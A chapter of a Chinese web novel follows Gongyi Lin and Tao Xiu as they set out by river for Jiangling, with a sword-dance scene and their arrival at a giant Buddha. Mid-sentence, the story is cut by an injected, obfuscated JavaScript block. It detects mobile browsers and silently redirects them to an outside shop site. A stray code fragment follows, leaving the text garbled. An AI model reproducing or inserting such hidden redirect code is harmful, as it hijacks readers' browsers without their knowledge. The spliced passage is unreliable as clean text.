129.出发江陵故地
    从皇宫出来,二人心照不宣预备好面对公仪家的第一轮惩罚和责难,但小院依旧是那个热闹的小院,廊下鹦鹉叫的很欢,公仪佑还在朗声背诵中庸一篇,公仪檀竟主动迎上来恭喜陶修被授予的新官职,公仪老夫妇则立在绒花树下等着二人一起坐下,让他们讲述进宫这一趟的经过。

    过于平静的表面让公仪林满心疑惑和忐忑,不认为悲愤交加的母亲没将她知晓的秘密找个可靠的人讲出来。

    事实是,公仪檀暂时放下干预兄弟人生的决心,且看陶修去江陵的抉择,公仪夫人则认为儿子的幸福一定大过他必须成婚一事,何况他们这样的人家,就算公仪林到了四十岁才豁然省悟准备成家又有何不妥。

    他们都与自己内心的挣扎进行了和解。

    出发的日子定在八月十九,是公仪林特意找人算过的宜出行的黄道吉日,此趟他不敢有一丁点大意。这几日一直住在外面的胡峤也来了绒华院,借了块磨刀石把两个大刀磨的森寒锋利,把冰清玉润吓得抱成一团,娇娇弱弱不停地向这个糙汉打听:“你们是要远行?”

    糙汉头都不肯抬,简洁地回答:“不知道。”

    院子的东南角种了一丛细竹,长势很密,若不仔细看根本不知那里也能藏人,公仪林几次瞧见陶修站在那里赏花,看似赏花,满脸的惆怅都快让花也跟着颓废了。

    公仪林理解他这会近乡情怯的心情,留了空隙给他独自待会,焦灼地观察几次后还是忍不住上前打搅,隔着青翠的竹子问:“要不要跟我去市上选几件带给你母亲的小礼?辛南佐说你还有个弟弟,也给带一份?”

    “不必,路途遥远,轻车简从罢。”

    “我看过你行囊,就几件换洗旧衣,真的什么都不带?”

    “仅这个就足够了。”陶修从细竹里伸出一只手,掌心是一枚漆黑润泽的黑玉章。

    确实够了,萧琢“死亡”前最后做的一件事就在雕刻此枚印章,想必王府的旧人是永不会忘记的。

    这时,公仪佑也挤进方寸大的小空间内,两边仰望,老沉的发问:“你们吵架了?”

    “哪知眼睛看见的?”

    “没见过隔着竹子交谈的,不是吵架又是作甚。”

    “会背了吗?时间已过了几日了,准备何时背给我听?”

    “我来正要跟叔父商量这件事,那日你答应我要舞剑给我看,就今日吧,你作为长辈你先来。”

    公仪林蹲下来跟他讲话,难得的轻声慢语,指着满院来往的下人说:“我舞剑,他们必然也要看的,我成了卖艺的了?”

    “言而无信是吧?”

    “这样,这位陶县尹比叔父厉害,晚上等他们睡了让他给你显几招,行不行?但我有个条件?”

    “又开始哄小孩了,什么条件?”

    “你晚上能不能回你爹房间睡觉?”

    竹丛后的陶修忍不住笑出声音,转个身从后面走出来,拉起公仪佑的手说:“你叔父诡计多端,不听他的,卖艺又如何,取剑来,我给你来几段。”

    八月的天气最为舒爽晴朗,天高云淡,贵为朝廷官员的陶公子要在青天白日下当众舞剑的消息一出,满院的下人、仆从都放下手中活计围拢过来。自古有点权势的人都很清贵,走哪必须高高端着,生怕一不小心弯了腰就沾上贱民的气味。

    陶修借剑抒意,又能哄小公子开心,但没料到会引起这么多人注视。他喜穿干脆利落的劲装,袖、腰系的板板正正,拎剑走上绒花树下的木台对众人拱手温和一笑,立即引得他们的高声喝彩。

    宝剑出鞘,在阳光下折射出一道耀眼光芒。长剑在手,锋利逼人,陶修并不想太高调招摇,只拿出平常一半的功力舞于他们观赏,权当是给众人解闷玩闹。那剑在他手中似与手合为一体,轻盈如蝴翼翻飞,又快如闪电星火,既凌厉矫捷又飘逸灵动,破空之声如玉石相击,清脆悦耳。

    公仪林怀抱双臂笑容四溢,一副“此人是不是很厉害”的表情,台上行云流水的动作令人赏心悦目,舞剑之人被一条宽带紧紧绑起的劲腰更令人魂不守舍,他一掌按住正观摩起劲的侄儿的头,低声威胁道:“你今晚必须给我睡你爹房里去,否则以后就留下给我捶腿,或是把你留下给我做儿子。”

    公仪佑眨巴眼睛,好奇地问:“叔父你是不能生吗?”

    陶修舞剑的英姿给公仪佑不小的震撼,看得眼花缭乱瞠目结舌,对这位陶县尹的好感倍增,且不说他这身非比常人的武艺,就是平日待人接物都比强横威严的叔父和善不知多少倍,仅三五天时间,他就完全被陶修折服。

    待陶修刚收剑入鞘,公仪佑就冲上去抱住他的腿仰头说道:“陶县尹若不嫌弃就收我为徒,听说你也在用功读书,不懂的我可以反过来教你。”

    这句话让公仪林想起十岁时初见陶修,也大言不惭地说过这种话:“把不会的字写下来,回头我教你。”

    他冷哼一声拎过侄儿的后领面向自己,“该你背书了,大伙都等着呢。”就连小孩子都想来教陶修识字,简直越了辈分。

    公仪佑明亮欢欣的双目陡然失去童稚,懊恼地走上台把一篇长文背的磕磕绊绊,卡顿忘词时越发觉得众人的眼睛都在盯着他,背至大半,终于失控而嚎啕大哭。

    陶修拉他近前,擦去眼泪,哄道:“年纪小不服输,几天时间就背到这样程度很了不得了,读书肯定要读书的,说不定以后你会感谢你叔父今日的严厉。”

    公仪佑揉去眼泪:“陶县尹这样的才是做长辈该有的谆谆教导。”

    大伙哄笑而散。

    八月十九出发之时,有两支长队将陶修、公仪林送至江边登船,但实际登船的人只有四个。司子再次向公仪林确认一遍:“公子真的不用我去?穿衣吃饭总要有人服侍的啊?”

    他身旁的阿八安慰道:“放一百个心,这点小事,我也能做。”看似安慰,实则剜心,司子撇撇嘴翻他一个白眼。

    “人去的越少,我们回来的越快。”其实公仪林想说人越少撤的越快,他心中忐忑不安,对此行并不抱有太多期待,只愿陶修见过亲生父母后能平安回归大陈。

    他登船前亲自放下两盏从寺庙求来的平安莲灯,看浩渺的江水将之送到尽头,回身对陶修作揖,郑重其事地说:“萧世子,大陈的右卫将军公仪林一定会平安护送你至江陵。”抬头凝视他的双眸,十分肯定地说:“再护你回程。”

    天穹晴朗,江水浩荡,水面波光粼粼,大船溯江而上,两岸景色千变万化,浮云行水、草木山川都从视野中缓慢褪去,从辽阔的平原到山峰起伏,再到壮丽的名山大川,船在江上行驶三四日,沿途所见的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603103|123338||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    情风貌逐渐不同,人还是一样的人,但口音、服饰已明显和陈国不同。

    陶修负手立于船首远眺浩渺的江水,衣袂翻飞,思绪随风乱舞,想从这一草一木一山一水中回忆起幼时的经历,但记忆被时间掩盖的太深沉,他只能茫然地看着眼前陌生的一切。

    一只手从背后轻轻揽住他的腰,声音极尽温柔:“在水上行了四天,我两条腿软的快站不住了,再行两个时辰就到荆州地界,怯没怯?”

    陶修拍拍腰上那只手,长长叹了一口气,挤出一抹艰难的笑:“是怕了,我不知道该如何面对……面对我的母亲。在她心中,我已是死去多年的人,我的出现会不会伤害他们?”

    “人生有几个大喜瞬间,该加一个死而复生,对你母亲而言,这怎会是悲?”

    “话虽如此,你没有我的经历,怎能明白此刻我的担忧与害怕?”

    “如果见面时实在不知道说什么,你就哭吧,把这些年的委屈都哭出来,你需要哭,她也需要。”

    这主意有点令陶修意外,转头看着公仪林,真诚地问:“长大成人后我就很少哭过,哭能管用?”

    “一切酸甜苦辣,喜乐悲殇无不可以用流泪去表达,眼泪饱含你的所有情绪,哭吧,不丢人。”

    “好,我会试试。”

    公仪林指着两岸逶迤的山峰和一块形状怪异的巨石问:“那块石头叫雄鸡岩,在当地很出名,你来过没?兴许你父亲带你攀过?”

    “我什么都想不起来。”

    阿八慵懒地靠在船舱壁上,时不时勾搭对面寡言少语的胡峤讲话,一眼扫到船首两人揽腰搭背的动作,惊地他天雷滚滚,“刷”一下坐起来往外爬了一步要看个真切,回头看着胡峤:“大哥,说句话啊,我的眼睛没花吧?”

    胡峤怀抱两把大刀眯眼静坐,闻言掀开眼皮瞥向外面两人,又朝阿八看了眼复又阖上,从鼻腔里发出一声“哼”,算是对他对少见多怪的轻蔑。

    这时,船夫高喊一声:“前面就驶进文波河,再一个时辰公子们都可以下船了,文波河附近有一尊大佛,高九丈,是此地一大看点,诸位若有闲情可去一观。”

    船在大江支流的文波河上缓慢行进,两岸房屋茅舍成排而建,行人渐多,船只慢慢往渡口靠近。他们下船后站在坚硬的岸上适应片刻才使双腿没那么虚浮打飘。

    公仪林四下打量这个陌生地方,突然在河东岸一片茂林后发现一颗硕大的佛头,在碧蓝天穹的映衬下,大佛就像悬于半空,慈眉善目俯视众生。他们在强烈的视觉冲击下都虔诚的合掌礼拜。

    公仪林对陶修提议道:“先去拜一拜,让阿八去准备几匹马再进城,如何?”

    陶修看起来脸色不好,紧闭唇角,点头同意。

    这尊高九丈的大佛建在一座小山的角上,脚踩莲座,右手施无畏印,左手与愿印,双目微张,安详凝重宝相庄严。佛像下方的香火旺盛,轻烟袅袅升空,善男信女络绎不绝,是处神秘安宁之所。

    公仪林回头看落后一步的陶修时,见他脸色苍白,双眸流露的悲伤惊恐像兽夹给伤害过的鹿,他轻声问:“要不要找地歇会,刚下船又走了这么久,是该累了。”

    陶修解下背后的剑递给胡峤,对二人道:“你们在此等我,我进去就来。”说完独自进了枫叶寺。